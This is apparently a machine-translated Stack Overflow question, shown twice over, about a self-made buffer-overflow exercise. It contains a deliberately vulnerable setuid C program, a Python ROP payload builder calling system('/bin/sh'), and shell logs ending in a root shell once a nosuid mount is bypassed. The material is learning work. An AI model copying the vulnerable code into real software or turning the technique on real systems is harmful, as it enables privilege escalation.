为什么我的缓冲区溢出漏洞只会打开用户 shell 而不是根 shell?
why will my buffer overflow exploit open a user shell only instead of a root shell?
我一直在关注一些关于缓冲区溢出利用的教程。但我的问题是,我无法打开 root shell,我将始终获得普通用户 shell。我检查了以下几点
我re-verified以下项目但我仍然无法获得真正的根shell:
- 我正确地将二进制文件的所有者设置为 root 并且还设置了 s 标志(检查)
- 我已验证我使用的漏洞利用程序正常工作,使用了正确的 system@plt 和 exit@plt 地址,并且这些值已通过 pop rdi;ret; 正确加载到 rdi 中;细分市场;毕竟我确实得到了 shell 但不是预期的根 shell ; (检查)
- 我听说现在 dash 和 bash 会降低权限,linking /bin/sh 到 /bin/zsh 会有所帮助,但这对我没有帮助;仍然获得非 root shell(检查,方法对我不起作用)
- 我还尝试调用 setuid(0) 和 seteuid(0) 以在二进制文件中进行测试。仍然没有根shell; (检查,对我不起作用)
- 我还看到有人将 /proc/sys/kernel/yama/ptrace_scope 设置为 0(请参阅此处的 post)see post here,但我并非如此(值设置为 1,我从不碰了那个)(检查,我的值设置为 1,应该没问题)
- 我正在使用 linux mint 18.1 serena,也许这里有一个额外的安全功能可以降低权限并防止 root-shell?
- 查看我的 c 代码并利用下面的 python 脚本以供参考(漏洞在函数 vuln() 中);函数 shell() 只是为了提供相应的 @plt 函数的地址(这只是为了锻炼和玩耍)
- 我使用'gcc -fno-stack-protector -o ghost ghost.c'编译二进制文件以避免堆栈金丝雀
有人知道问题出在哪里吗?为什么我还是得不到 root shell?
在此先感谢您的任何建议和提示。
最佳 Zaphoxx
易受攻击的c代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/bin/sh");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
printf("[+] input: ");
l=read(0,buf,128);
printf("[+] recv: ");
write(1,buf,l);
return 0;
}
int main(){
//setbuf(stdout,0);
setuid(0);
seteuid(0);
vuln();
return 0;
}
python利用脚本创建有效载荷:
#!/usr/bin/python
from struct import *
from subprocess import call
poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)
with open("pwn","w") as p:
p.write(buf)
编辑更新:
所以我按照建议重试直接在一个小二进制文件中调用 execve() 而不是使用易受攻击的二进制文件,只是为了检查这是否会打开根 shell:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami
zaphoxx
$ exit
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>
int main(){
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
所以它不开根shell;
我按照其他 post 中的建议做了 link /bin/sh 到 /bin/zsh,请看这里:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
正如 Peter 所建议的,我确实在我的 exploit 中使用“/usr/bin/id”作为系统参数来检查,但结果与预期相同:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/usr/bin/id");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
l=read(0,buf,128);
printf("[+] recv: %s",buf);
//write(1,buf,l);
return 0;
}
int main(){
//shell();
//setbuf(stdout,0);
//setuid(0);
//seteuid(0);
vuln();
return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
更新:我从 K.A.Buhr 得到了一个很好的提示来检查 /proc/mounts 的 nosuid 条目和:
zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime
这似乎是我遇到问题的原因。我将如何以正确的方式更改它或如何暂时停用 nosuid 以便我可以测试漏洞?
感谢大家提供的帮助。特别感谢 K.A.Buhr 提供了正确的提示。
在 /proc/mounts 中有多个 folders/filesystem 的条目确实有一个 nosuid 标志。这阻止了利用程序打开根 shell,因为我试图利用的二进制文件位于带有 nosuid 标志的文件夹中。
我将二进制文件移动到 /usr/local/src/ghostInTheShell 并创建了一个从原始文件夹到新文件夹的符号链接(没有 nosuid 标志)。
运行 那里的漏洞利用一切都按预期工作。谢谢大家。查看以下结果:
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py ghost.py in.txt peda-session-dash.txt sexecve.log
fish ghost.py~ leak peda-session-ghost.txt shell
fish.c gits leak.c peda-session-lib2plt.txt shellcode.c
fish.c~ gits.c lib2plt pwn
ghost gits.o lib2plt.c pwn.py
ghost.c in.text libtest.so r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH
我一直在关注一些关于缓冲区溢出利用的教程。但我的问题是,我无法打开 root shell,我将始终获得普通用户 shell。我检查了以下几点
我re-verified以下项目但我仍然无法获得真正的根shell:
- 我正确地将二进制文件的所有者设置为 root 并且还设置了 s 标志(检查)
- 我已验证我使用的漏洞利用程序正常工作,使用了正确的 system@plt 和 exit@plt 地址,并且这些值已通过 pop rdi;ret; 正确加载到 rdi 中;细分市场;毕竟我确实得到了 shell 但不是预期的根 shell ; (检查)
- 我听说现在 dash 和 bash 会降低权限,linking /bin/sh 到 /bin/zsh 会有所帮助,但这对我没有帮助;仍然获得非 root shell(检查,方法对我不起作用)
- 我还尝试调用 setuid(0) 和 seteuid(0) 以在二进制文件中进行测试。仍然没有根shell; (检查,对我不起作用)
- 我还看到有人将 /proc/sys/kernel/yama/ptrace_scope 设置为 0(请参阅此处的 post)see post here,但我并非如此(值设置为 1,我从不碰了那个)(检查,我的值设置为 1,应该没问题)
- 我正在使用 linux mint 18.1 serena,也许这里有一个额外的安全功能可以降低权限并防止 root-shell?
- 查看我的 c 代码并利用下面的 python 脚本以供参考(漏洞在函数 vuln() 中);函数 shell() 只是为了提供相应的 @plt 函数的地址(这只是为了锻炼和玩耍)
- 我使用'gcc -fno-stack-protector -o ghost ghost.c'编译二进制文件以避免堆栈金丝雀
有人知道问题出在哪里吗?为什么我还是得不到 root shell?
在此先感谢您的任何建议和提示。 最佳 Zaphoxx
易受攻击的c代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/bin/sh");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
printf("[+] input: ");
l=read(0,buf,128);
printf("[+] recv: ");
write(1,buf,l);
return 0;
}
int main(){
//setbuf(stdout,0);
setuid(0);
seteuid(0);
vuln();
return 0;
}
python利用脚本创建有效载荷:
#!/usr/bin/python
from struct import *
from subprocess import call
poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)
with open("pwn","w") as p:
p.write(buf)
编辑更新:
所以我按照建议重试直接在一个小二进制文件中调用 execve() 而不是使用易受攻击的二进制文件,只是为了检查这是否会打开根 shell:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami
zaphoxx
$ exit
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>
int main(){
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
所以它不开根shell;
我按照其他 post 中的建议做了 link /bin/sh 到 /bin/zsh,请看这里:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
正如 Peter 所建议的,我确实在我的 exploit 中使用“/usr/bin/id”作为系统参数来检查,但结果与预期相同:
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
system("/usr/bin/id");
exit(0);
}
int vuln(){
char buf[4];
ssize_t l=0;
l=read(0,buf,128);
printf("[+] recv: %s",buf);
//write(1,buf,l);
return 0;
}
int main(){
//shell();
//setbuf(stdout,0);
//setuid(0);
//seteuid(0);
vuln();
return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $
更新:我从 K.A.Buhr 得到了一个很好的提示来检查 /proc/mounts 的 nosuid 条目和:
zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime
这似乎是我遇到问题的原因。我将如何以正确的方式更改它或如何暂时停用 nosuid 以便我可以测试漏洞?
感谢大家提供的帮助。特别感谢 K.A.Buhr 提供了正确的提示。
在 /proc/mounts 中有多个 folders/filesystem 的条目确实有一个 nosuid 标志。这阻止了利用程序打开根 shell,因为我试图利用的二进制文件位于带有 nosuid 标志的文件夹中。
我将二进制文件移动到 /usr/local/src/ghostInTheShell 并创建了一个从原始文件夹到新文件夹的符号链接(没有 nosuid 标志)。
运行 那里的漏洞利用一切都按预期工作。谢谢大家。查看以下结果:
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py ghost.py in.txt peda-session-dash.txt sexecve.log
fish ghost.py~ leak peda-session-ghost.txt shell
fish.c gits leak.c peda-session-lib2plt.txt shellcode.c
fish.c~ gits.c lib2plt pwn
ghost gits.o lib2plt.c pwn.py
ghost.c in.text libtest.so r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH